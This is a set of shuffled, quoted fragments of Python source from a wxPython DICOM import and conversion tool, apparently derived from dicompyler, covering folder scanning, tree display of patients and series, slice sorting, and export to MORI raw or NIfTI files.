"len(filearray)): if terminate(): wx.CallAfter(progressFunc, 98, 100, msgs[1]) return dcmfile = str(os.path.join(self.path, filearray[n])) dp",
"item in enumerate(images): if (i > 0): iop0 = np.array(item.ImageOrientationPatient) iop1 = np.array(images[i-1].ImageOrientationPatient)",
"True # If no series were found, add the rtss to the study",
"import location does not exist. Please select a valid location.\", \"Invalid DICOM Import",
"[dose['filename']] self.EnableItemSelection(patient, dose, filearray) # No RT Dose files were found else: if",
"EOFError, IOError, KeyError): pass logger.info(\"%s is not a valid DICOM file.\", files[n]) else:",
"before # starting a new thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread,",
"filearray) # Search for RT Plans if 'plans' in patient: for planid, plan",
"{} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries()",
"Set the threading termination status to false intially self.terminate = False # Hide",
"DICOM file.\", files[n]) else: patient = dp.GetDemographics() h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest() if not h",
"plan['rxdose'] if plan['rxdose'] > 0 else \"Unknown\" name = 'RT Plan: ' +",
"rtss to the study if not foundseries: badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure",
"if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item, 'rxdose':rxdose}) self.tcPatients.SetItemBold(item['treeid'], True)",
"# if set to hide, reset the rx dose if not value: self.txtRxDose.SetValue(1)",
"Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir) all_export_threads = [] for export in self.selected_exports:",
"Create each RT Plan elif dp.ds.Modality in ['RTPLAN']: if not 'plans' in patients[h]:",
"Plan nor RT Dose files were found else: name = 'RT Plan not",
"= evt.IsChecked() def OnPickOutdir(self, evt): self.output_dir = evt.GetPath() def OnInputName(self, evt): self.output_name =",
"found else: name = 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8)",
"range(len(files)): # terminate the thread if the value has changed # during the",
"image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns,",
"import hashlib, os, threading, functools, json, warnings from logging import getLogger, DEBUG, INFO",
"if (sort == 'IPP'): unsortednums.append(image.ImagePositionPatient[2]) else: unsortednums.append(image.data_element(sort).value) # Sort in LPI order! Modified",
"if not h in patients: patients[h] = {} patients[h]['demographics'] = patient if not",
"'lblProgressPercentSym') self.tcPatients = XRCCTRL(self, 'tcPatients') self.bmpRxDose = XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose')",
"self.OnRescan, id=XRCID('btn_rescan')) # Init variables if os.path.isfile('.dcmconverter.conf'): logger.info('Loading previous configuration...') with open('.dcmconverter.conf', 'r')",
"= dose # Otherwise it is a currently unsupported file else: logger.info(\"%s is",
"valid, display an error message else: wx.CallAfter(progressFunc, 0, 0, 'Select a valid location.')",
"series in patient['series'].items(): if 'studies' in patient: for studyid, study in patient['studies'].items(): if",
"control.\"\"\" # Now add the specific item to the tree for key, patient",
"Load the XRC file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter =",
"patients[h]: patients[h]['structures'] = {} structure = dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n]",
"files to the filearray if they exist if 'plans' in patient: for planid,",
"= conf['export_nii_format'] XRCCTRL(self, 'check_nifti').SetValue(self.export_nii_format) self.output_dir = conf['output_dir'] XRCCTRL(self, 'picker_output').SetPath(self.output_dir) self.output_name = conf['output_name'] XRCCTRL(self,",
"as f: conf = json.load(f) self.path = conf['path'] self.txtDicomImport.SetValue(self.path) self.only_export_voldata = conf['only_export_voldata'] XRCCTRL(self,",
"XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format",
"= 'RT Dose without Dose Grid or DVH' foundstructure = False if 'structures'",
"return a dictionary of data.\"\"\" def __init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called",
"DVH' else: name = 'RT Dose without DVH' else: if dose['hasdvh']: name =",
"the tree control.\"\"\" # Create a hash for each patient h = hashlib.sha1(patient['id'].encode('utf-8')).hexdigest()",
"(planid == dose['rtplan']): foundplan = True rxdose = None if dose['hasgrid']: if dose['hasdvh']:",
"not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break # If the images",
"if 'rtss' in plan: if (structureid == plan['rtss']): filearray.append(structure['filename']) # Add the respective",
"by testing for differences in ImageOrientationPatient parallel = True for i, item in",
"foundplan: if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose with DVH' else: name",
"CL.Wang seinfo['KVP'] = dp.ds.KVP seinfo['PatientPosition'] = dp.ds.PatientPosition seinfo['ModelName'] = dp.ds.ManufacturerModelName seinfo['PixelSpacing'] = dp.ds.PixelSpacing",
"or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if set",
"self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # Start the directory search as soon as the panel",
"all_export_threads = [] for export in self.selected_exports: info = self.tcPatients.GetItemData(export) filearray, series_no =",
"== image.data_element(sort).value): sortedimages.append(image) # Save the images back to the patient dictionary logger.debug('Slices",
"os.walk(path): files += map(lambda f:os.path.join(root, f), filenames) if (self.import_search_subfolders == False): break for",
"- Dose: ' + str(rxdose) + ' cGy' if 'structures' in patient: for",
"float(dp.ds.SliceThickness) m = np.array( [[float(orientation[0])*di, float(orientation[3])*dj, 0, 0], [float(orientation[1])*di, float(orientation[4])*dj, 0, 0], [float(orientation[2])*di,",
"Plans if 'plans' in patient: for planid, plan in patient['plans'].items(): foundstructure = False",
"DICOM data...' elif (len(patients) > 1): progressStr = 'Found ' + str(len(patients)) +",
"util.GetResourcePath('chart_bar.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'),",
"specific item to the tree for key, patient in self.patients.items(): patient.update(patients[key]) if 'studies'",
"Save the images back to the patient dictionary logger.debug('Slices num: %d', len(sortedimages)) patient['images']",
"rescaled_image = pixel_array * slope + intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc,",
"__init__(self): wx.Dialog.__init__(self) def Init(self, res): \"\"\"Method called after the panel has been initialized.\"\"\"",
"f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] = dlgDicomImporter.only_export_voldata conf['min_slice_num'] = dlgDicomImporter.min_slice_num conf['offset'] = dlgDicomImporter.offset",
"{} image['id'] = dp.GetSOPInstanceUID() image['filename'] = files[n] image['series'] = seinfo['id'] image['referenceframe'] = dp.GetFrameOfReferenceUID()",
"1 patients[h]['images'][image['id']] = image # Create each RT Structure Set elif dp.ds.Modality in",
"= True for i, item in enumerate(images): if (i > 0): iop0 =",
"in parentdata: rxdose = parentdata['rxdose'] # Show the rxdose text box if no",
"# If the item has data, check to see whether there is an",
"resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter = self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog",
"XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits = XRCCTRL(self, 'lblRxDoseUnits') # Bind interface",
"iList.Add( wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add(",
"= np.array(dp.ds.ImageOrientationPatient), dp.ds.PatientOrientation, dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel",
"def select(child, flag): if flag: self.tcPatients.SetItemImage(child, 10) self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child):",
"if plan['rxdose'] > 0 else \"Unknown\" name = 'RT Plan: ' + plan['label']",
"dp.GetStudyInfo() if not stinfo['id'] in patients[h]['studies']: patients[h]['studies'][stinfo['id']] = stinfo # Create each Series",
"# Load the XRC file for our gui resources self.res = XmlResource(util.GetResourcePath('dicomgui.xrc')) dlgDicomImporter",
"not os.path.isdir(out_dir): os.makedirs(out_dir) nii_fname = os.path.join(out_dir, os.path.basename(out_basepath)+'.nii.gz') if os.path.isfile(nii_fname): self.ChoiceDialog('File existed! Continue?') if",
"def OnInit(self): wx.GetApp().SetAppName(\"DicomConverter\") # Load the XRC file for our gui resources self.res",
"'text_output_name').SetValue(self.output_name) else: self.path = os.path.expanduser('~') self.only_export_voldata = XRCCTRL(self, 'check_volume').IsChecked() self.min_slice_num = int(XRCCTRL(self, 'spin_minslices').GetValue())",
"patient['images'].items(): appendImage = False # used for image series if 'id' in item:",
"self.InitTree() # Initialize the patients dictionary self.patients = {} # Search subfolders by",
"def Init(self, res): \"\"\"Method called after the panel has been initialized.\"\"\" # Set",
"self.lblProgress.SetLabel(message) if not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False)",
"id=XRCID('check_nifti')) self.Bind(wx.EVT_DIRPICKER_CHANGED, self.OnPickOutdir, id=XRCID('picker_output')) self.Bind(wx.EVT_TEXT, self.OnInputName, id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause'))",
"self.AlertDialog('No Dicom series have been selected!') return if not self.output_dir: self.AlertDialog('Please enter valid",
"= conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self, 'check_mori').SetValue(self.export_mori_format) self.export_nii_format = conf['export_nii_format'] XRCCTRL(self,",
"b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']): name += \" - \"",
"if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image) # Save the",
"series_no = info['filearray'], info['info']['series_number'] basename = os.path.join(self.output_dir, self.output_name+'-'+str(series_no)+'.512') all_export_threads.append(threading.Thread(target=self.ExportPatientData, args=(self.path, filearray, self.txtRxDose.GetValue(), self.SetThreadStatus,",
"if 'referenceframe' in item: if (item['referenceframe'] == image['referenceframe']): if not 'numimages' in item:",
"BSD license. # See the file license.txt included with this distribution, also #",
"structureid, structure in patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']): plan['treeid'] =",
"self.output_name = '' # Set the dialog font and bold the font of",
"filearray = [plan['filename']] self.EnableItemSelection(patient, plan, filearray, plan['rxdose']) # Search for RT Doses if",
"[dose['filename']] self.EnableItemSelection(patient, dose, filearray) if not foundstructure: # If there is an image",
"dp.GetStructureInfo() structure['id'] = dp.GetSOPInstanceUID() structure['filename'] = files[n] structure['series'] = dp.GetReferencedSeries() structure['referenceframe'] = dp.GetFrameOfReferenceUID()",
"in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' == field: pass else: f.write('{} \\r'.format(field)) wx.CallAfter(progressFunc,",
"Initialize the patients tree control self.root = self.InitTree() # Initialize the patients dictionary",
"file name!') return if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir",
"dp.GetSOPInstanceUID() dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\"",
"patients.' elif (len(patients) == 1): progressStr = 'Found 1 patient. Reading DICOM data...'",
"exist if 'structures' in patient: for structureid, structure in patient['structures'].items(): if 'rtss' in",
"os, threading, functools, json, warnings from logging import getLogger, DEBUG, INFO logger =",
"for seriesid, series in patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure",
"dose controls except on GTK due to control placement oddities if not guiutil.IsGtk():",
"+ ' (' + modality + ', ' #numimages = str(series['numimages']) + '",
"for planid, plan in patient['plans'].items(): if 'rtplan' in item: if (planid == item['rtplan']):",
"= patient name = str(patient['name']) + ' (' + patient['id'] + ')' self.patients[h]['treeid']",
"ref'd rtplan, check rtplan->rtss if 'rtplan' in item: if 'plans' in patient: for",
"f.write('{} {:.6f}\\r'.format(field,reso[2])) elif 'ImagePositionBegin' in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{}",
"else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]) pos = [] for i, img in",
"if 'series' in patient: foundseries = False name = 'RT Structure Set: '",
"used for image series if 'id' in item: if (item['id'] == image['series']): appendImage",
"if appendImage: filearray.append(image['filename']) # Add the respective rtss files to the filearray if",
"to the tree if they don't already exist if not h in self.patients:",
"ipp1 = np.array(images[i-1].ImagePositionPatient) if not (np.any(np.array(np.round(ipp0 - ipp1), dtype=np.int32))): parallel = False break",
"is done before destroying the dialog if dlgDicomImporter: if hasattr(dlgDicomImporter, 't'): dlgDicomImporter.t.join() dlgDicomImporter.Destroy()",
"for RT Doses if 'doses' in patient: for doseid, dose in patient['doses'].items(): foundplan",
"intercept + self.offset image_array[:,:,i] = rescaled_image wx.CallAfter(progressFunc, (i+image_array.shape[-1])//2, image_array.shape[-1]+1, 'Creating image array...') image_array",
"in field: f.write('{} {:.6f}\\r'.format(field,np.min(pos))) elif 'ImagePositionEnd' in field: f.write('{} {:.6f}\\r'.format(field,np.max(pos))) elif 'Hospital' in",
"'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = '' # Set",
"wx.OK|wx.ICON_ERROR) dlg.ShowModal() def OnUpdateProgress(self, num, length, message): \"\"\"Update the DICOM Import process interface",
"= True super().OnCancel(evt) def main(): app = DcmConverterApp(0) app.MainLoop() if __name__ == '__main__':",
"else: name = 'RT Plan not found' badplan = self.tcPatients.AppendItem(structure['treeid'], name, 8) self.tcPatients.SetItemTextColour(badplan,",
"progressStr) wx.CallAfter(resultFunc, patients) # if the path is not valid, display an error",
"conf = {} with open('.dcmconverter.conf', 'w') as f: conf['path'] = dlgDicomImporter.path conf['only_export_voldata'] =",
"util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_multiple.png'),",
"# Bind interface events to the proper methods self.Bind(wx.EVT_BUTTON, self.OnBrowseDicomImport, id=XRCID('btnDicomImport')) self.Bind(wx.EVT_CHECKBOX, self.OnCheckSearchSubfolders,",
"study in patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0] name",
"if not 'images' in patient: patient['images'] = [] patient['images'].append(dp.ds) elif (dp.ds.Modality in ['RTSTRUCT']):",
"dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> # Copyright",
"filenames) if (self.import_search_subfolders == False): break for n in range(len(files)): # terminate the",
"= {} patients[h]['demographics'] = patient if not 'studies' in patients[h]: patients[h]['studies'] = {}",
"os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export != wx.ID_OK: return if self.export_nii_format: out_dir =",
"(planid == item['rtplan']): filearray.append(plan['filename']) if not rxdose: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray, 'info':item}) else: self.tcPatients.SetItemData(item['treeid'], {'filearray':filearray,",
"supported.\", files[n], dp.ds.SOPClassUID.name) # Call the progress function to update the gui wx.CallAfter(progressFunc,",
"= write_mori(image_array, reso, mori_fname, True) with open(header_name, 'r') as f: origin_header_lines = f.read().splitlines()",
"wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('table_selected.png'), wx.BITMAP_TYPE_PNG)) self.tcPatients.AssignImageList(iList) root = self.tcPatients.AddRoot('Patients',",
"+ ' (' + patient['id'] + ')' self.patients[h]['treeid'] = \\ self.tcPatients.AppendItem(self.root, name, 1)",
"in patient['studies'].items(): if (studyid == series['study']): modality = series['modality'].partition(' Image Storage')[0] name =",
"item has data, check to see whether there is an rxdose if not",
"id=XRCID('checkSearchSubfolders')) self.Bind(wx.EVT_TREE_SEL_CHANGED, self.OnSelectTreeItem, id=XRCID('tcPatients')) #self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.OnOK, id=XRCID('tcPatients')) #added by CL.Wang self.Bind(wx.EVT_CHECKBOX, self.OnCheckVolFlag, id=XRCID('check_volume'))",
"97, 100, 'Export RAW image completed') if self.export_nii_format: import nibabel as nib logger.info('Exporting",
"os.makedirs(out_dir) mori_fname = os.path.join(out_dir, os.path.basename(out_basepath)) if os.path.isfile(mori_fname+'.raw.gz'): self.ChoiceDialog('File existed! Continue?') if self.contiune_export !=",
"= 'IPP' # Determine if all images in the series are parallel #",
"sorted(unsortednums, reverse=False) # Add the images to the array based on the sorted",
"subfolders for DICOM data.\"\"\" self.import_search_subfolders = evt.IsChecked() self.terminate = True self.OnDirectorySearch() def OnBrowseDicomImport(self,",
"evt): \"\"\"Stop the directory search and close the dialog.\"\"\" self.terminate = True super().OnCancel(evt)",
"if not os.path.isdir(self.output_dir): logger.info(\"Output dir not exists! Create new dir [%s]\", self.output_dir) os.makedirs(self.output_dir)",
"name = 'RT Plan: ' + plan['label'] + planname + \\ ' -",
"Search for RT Structure Sets if 'structures' in patient: for structureid, structure in",
"return dp = dicomparser.DicomParser(patient_data['images'][0]) reso = [ float(dp.ds.PixelSpacing[0]), float(dp.ds.PixelSpacing[1]), float(dp.ds.SliceThickness)] affine = self.__GetNiftiAffineMatrix__(dp)",
"there is an rxdose if not (self.tcPatients.GetItemData(item) == None): data = self.tcPatients.GetItemData(item) #self.btnSelect.Enable()",
"and is not \" + \\ \"currently supported.\", files[n], dp.ds.SOPClassUID.name) # Call the",
"dp.ds.DoseSummationType dose['beam'] = dp.GetReferencedBeamNumber() dose['rtss'] = dp.GetReferencedStructureSet() dose['rtplan'] = dp.GetReferencedRTPlan() patients[h]['doses'][dose['id']] = dose",
"\"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value) self.lblRxDoseUnits.Show(value) # if",
"self.tcPatients.AppendItem(series['treeid'], name, 4) foundseries = True # If no series were found, add",
"self.EnableRxDose(True) def EnableRxDose(self, value): \"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value)",
"dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int32) elif dp.ds.BitsAllocated",
"due to control placement oddities if not guiutil.IsGtk(): self.EnableRxDose(False) # If a previous",
"badstructure = self.tcPatients.AppendItem( patient['treeid'], \"RT Structure Set not found\", 7) plan['treeid'] = self.tcPatients.AppendItem(badstructure,",
"in patient['series'].items(): foundseries = False if (series['referenceframe'] == plan['referenceframe']): badstructure = self.tcPatients.AppendItem( series['treeid'],",
"in patient: for structureid, structure in patient['structures'].items(): if 'plans' in patient: for planid,",
"conf['output_dir'] = dlgDicomImporter.output_dir conf['output_name'] = dlgDicomImporter.output_name json.dump(conf, f, indent=2, sort_keys=True) # Block until",
"# See the file license.txt included with this distribution, also # available at",
"util class DcmConverterApp(wx.App): \"\"\"Prepare to show the dialog that will Import DICOM and",
"image series, add a fake rtss to it foundseries = False for seriesid,",
"wait...','Exporting patient cancelled.','Exporting patient...'] wx.CallAfter(progressFunc, -1, 100, msgs[0]) for n in range(0, len(filearray)):",
"'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel')",
"that the reference (prescription) dose is in cGy. import hashlib, os, threading, functools,",
"name += \" - Dose: \" + str(int(b['dose'])) + \" cGy\" rxdose =",
"plan in patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in plan: if (structureid",
"<NAME> # This file is part of dicompyler, released under a BSD license.",
"= XRCCTRL(self, 'check_mori').IsChecked() self.export_nii_format = XRCCTRL(self, 'check_nifti').IsChecked() self.output_dir = '' self.output_name = ''",
"#self.btnSelect.SetFocus() self.tcPatients.ExpandAll() self.lblProgress.SetLabel( str(self.lblProgress.GetLabel()).replace(' Reading DICOM data...', '')) #Added by CL.Wang self.Check_Export_Files() def",
"float(orientation[5])*dj, dk, 0], [0, 0, 0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath,",
"elif dp.ds.Modality in ['RTSTRUCT']: if not 'structures' in patients[h]: patients[h]['structures'] = {} structure",
"== 8: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int8) else: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])])",
"in patient: for imageid, image in patient['images'].items(): appendImage = False # used for",
"dp.ds.PatientPosition study_date, serise_date, acq_date = dp.ds.StudyDate, dp.ds.SeriesDate, dp.ds.AcquisitionDate if (dp.ds.SamplesPerPixel > 1) or",
"(sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image) elif (slice == image.data_element(sort).value): sortedimages.append(image)",
"+ plan['label'] + planname + \\ ' - Dose: ' + str(rxdose) +",
"= XRCCTRL(self, 'txtDicomImport') self.btnDicomImport = XRCCTRL(self, 'btnDicomImport') self.btnPause = XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders =",
"Determine if all images in the series are parallel # by testing for",
"descriptor: # (ImagePositionPatient, InstanceNumber or AcquisitionNumber) if 'images' in patient: sortedimages = []",
"wx.Bitmap( util.GetResourcePath('group.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('user.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('book.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"changed # during the loop duration if terminate(): wx.CallAfter(progressFunc, 0, 0, 'Search terminated.')",
"def EnableRxDose(self, value): \"\"\"Show or hide the prescription dose message.\"\"\" self.bmpRxDose.Show(value) self.lblRxDose.Show(value) self.txtRxDose.Show(value)",
"exportFunc): \"\"\"Get the data of the selected patient from the DICOM importer dialog.\"\"\"",
"self.res.LoadDialog(None, \"DicomImporterDialog\") dlgDicomImporter.Init(self.res) # Show the dialog and return the result ret =",
"def OnCheckSearchSubfolders(self, evt): \"\"\"Determine whether to search subfolders for DICOM data.\"\"\" self.import_search_subfolders =",
"= conf['min_slice_num'] XRCCTRL(self, 'spin_minslices').SetValue(self.min_slice_num) self.offset = conf['offset'] XRCCTRL(self, 'spin_offset').SetValue(self.offset) self.export_mori_format = conf['export_mori_format'] XRCCTRL(self,",
"dose['filename'] = files[n] dose['referenceframe'] = dp.GetFrameOfReferenceUID() dose['hasdvh'] = dp.HasDVHs() dose['hasgrid'] = \"PixelData\" in",
"= int(100 * (num+1) / length) self.gaugeProgress.SetValue(percentDone) self.lblProgressPercent.SetLabel(str(percentDone)) self.lblProgress.SetLabel(message) if not (percentDone ==",
"0): patient = {} patient['rxdose'] = RxDose if (('ImageOrientationPatient' in dp.ds) and \\",
"on the sorted order for s, slice in enumerate(sortednums): for i, image in",
"evt): if not self.selected_exports: self.AlertDialog('No Dicom series have been selected!') return if not",
"and bold the font of the directions label font = wx.SystemSettings.GetFont(wx.SYS_DEFAULT_GUI_FONT) if guiutil.IsMac():",
"array based on the sorted order for s, slice in enumerate(sortednums): for i,",
"terminate the thread if the value has changed # during the loop duration",
"DICOM data via a wxPython GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> #",
"found' baddose = self.tcPatients.AppendItem(plan['treeid'], name, 9) self.tcPatients.SetItemTextColour(baddose, wx.RED) # No RT Plan nor",
"been initialized.\"\"\" # Set window icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls",
"= True rxdose = None if dose['hasgrid']: if dose['hasdvh']: name = 'RT Dose",
"for structureid, structure in patient['structures'].items(): foundstructure = False if (structureid == plan['rtss']): plan['treeid']",
"else: if dose['hasdvh']: name = 'RT Dose without Dose Grid (DVH only)' else:",
"GUI dialog.\"\"\" # Copyright (c) 2018-2020 <NAME> # Copyright (c) 2009-2017 <NAME> #",
"id=XRCID('text_output_name')) self.Bind(wx.EVT_BUTTON, self.OnConvert, id=XRCID('btn_convert')) self.Bind(wx.EVT_BUTTON, self.OnPause, id=XRCID('btn_pause')) self.Bind(wx.EVT_BUTTON, self.OnRescan, id=XRCID('btn_rescan')) # Init variables",
"0, 0, 1]], dtype=np.float) return m def ExportFunc(self, out_basepath, patient_data, progressFunc=None): if patient_data",
"16: image_array = np.zeros([dp.ds.Rows, dp.ds.Columns, len(patient_data['images'])]).astype(np.int16) elif dp.ds.BitsAllocated == 32: image_array = np.zeros([dp.ds.Rows,",
"\" if dose['beam'] in plan['beams']: b = plan['beams'][dose['beam']] name += b['name'] if len(b['description']):",
"numbers in descending order for head first patients if ('hf' in image.PatientPosition.lower()) and",
"len(patient_data['images'])]) pos = [] for i, img in enumerate(patient_data['images']): dp = dicomparser.DicomParser(img) intercept,",
"in field: f.write('{} {}\\r'.format(field,acq_date)) elif 'Orientation' in field: f.write('{} {}\\r'.format(field,'LPF')) elif '' ==",
"self.tcPatients.AppendItem(study['treeid'], name, 3) self.EnableItemSelection(patient, series, []) # Search for RT Structure Sets if",
"not (percentDone == 100): self.gaugeProgress.Show(True) self.lblProgressPercent.Show(True) self.lblProgressPercentSym.Show(True) else: self.gaugeProgress.Show(False) self.lblProgressPercent.Show(False) self.lblProgressPercentSym.Show(False) # End",
"len(self.selected_exports)) def EnableItemSelection(self, patient, item, filearray = [], rxdose = None): \"\"\"Enable an",
"Plan not found\", 8) dose['treeid'] = self.tcPatients.AppendItem(badplan, name, 6) self.tcPatients.SetItemTextColour(badplan, wx.RED) filearray =",
"icon if not guiutil.IsMac(): self.SetIcon(guiutil.get_icon()) # Initialize controls self.txtDicomImport = XRCCTRL(self, 'txtDicomImport') self.btnDicomImport",
"series if 'id' in item: if (item['id'] == image['series']): appendImage = True #",
"= XRCCTRL(self, 'bmpRxDose') self.lblRxDose = XRCCTRL(self, 'lblRxDose') self.txtRxDose = XRCCTRL(self, 'txtRxDose') self.lblRxDoseUnits =",
"the file license.txt included with this distribution, also # available at https://github.com/bastula/dicompyler/ #",
"patient['plans'].items(): if (planid == item['rtplan']): if 'rtss' in plan: if (structureid == plan['rtss']):",
"root def AddPatientTree(self, patient): \"\"\"Add a new patient to the tree control.\"\"\" #",
"i, image in enumerate(images): if (sort == 'IPP'): if (slice == image.ImagePositionPatient[2]): sortedimages.append(image)",
"= XRCCTRL(self, 'btn_pause') self.checkSearchSubfolders = XRCCTRL(self, 'checkSearchSubfolders') self.lblProgressLabel = XRCCTRL(self, 'lblProgressLabel') self.lblProgress =",
"and \\ not (dp.GetSOPClassUID() == 'rtdose')): if not 'images' in patient: patient['images'] =",
"included with this distribution, also # available at https://github.com/bastula/dicompyler/ # # It's assumed",
"in field: f.write('{} {}\\r'.format(field,pat_pos)) elif 'PatientOrientation' in field: f.write('{} {}\\r'.format(field,pat_ori)) elif 'ImageOrientation' in",
"thread whether to terminate or not.\"\"\" return self.terminate def DirectorySearchThread(self, parent, path, subfolders,",
"starting a new thread if (hasattr(self, 't')): self.t.join() del self.t self.t=threading.Thread(target=self.DirectorySearchThread, args=(self, self.path,",
"self.selected_exports.append(child) else: self.tcPatients.SetItemImage(child, 3) def minslice_check(child): info = self.tcPatients.GetItemData(child)['info'] return int(info['numimages'])>self.min_slice_num self.selected_exports =",
"(Beam \" + str(dose['beam']) + \": \" if dose['beam'] in plan['beams']: b =",
"wx.Bitmap( util.GetResourcePath('pencil_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_bar_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap( util.GetResourcePath('chart_curve_error.png'), wx.BITMAP_TYPE_PNG)) iList.Add( wx.Bitmap(",
"self.OnUpdateProgress, functools.partial(self.ExportFunc, out_basepath=basename)))) [th.start() for th in all_export_threads] #[th.join() for th in all_export_threads]",
"if 'rxdose' in parentdata: rxdose = parentdata['rxdose'] # Show the rxdose text box",
"= getLogger('DcmConverter') import wx warnings.filterwarnings(\"ignore\", category=wx.wxPyDeprecationWarning) from wx.xrc import * import numpy as",
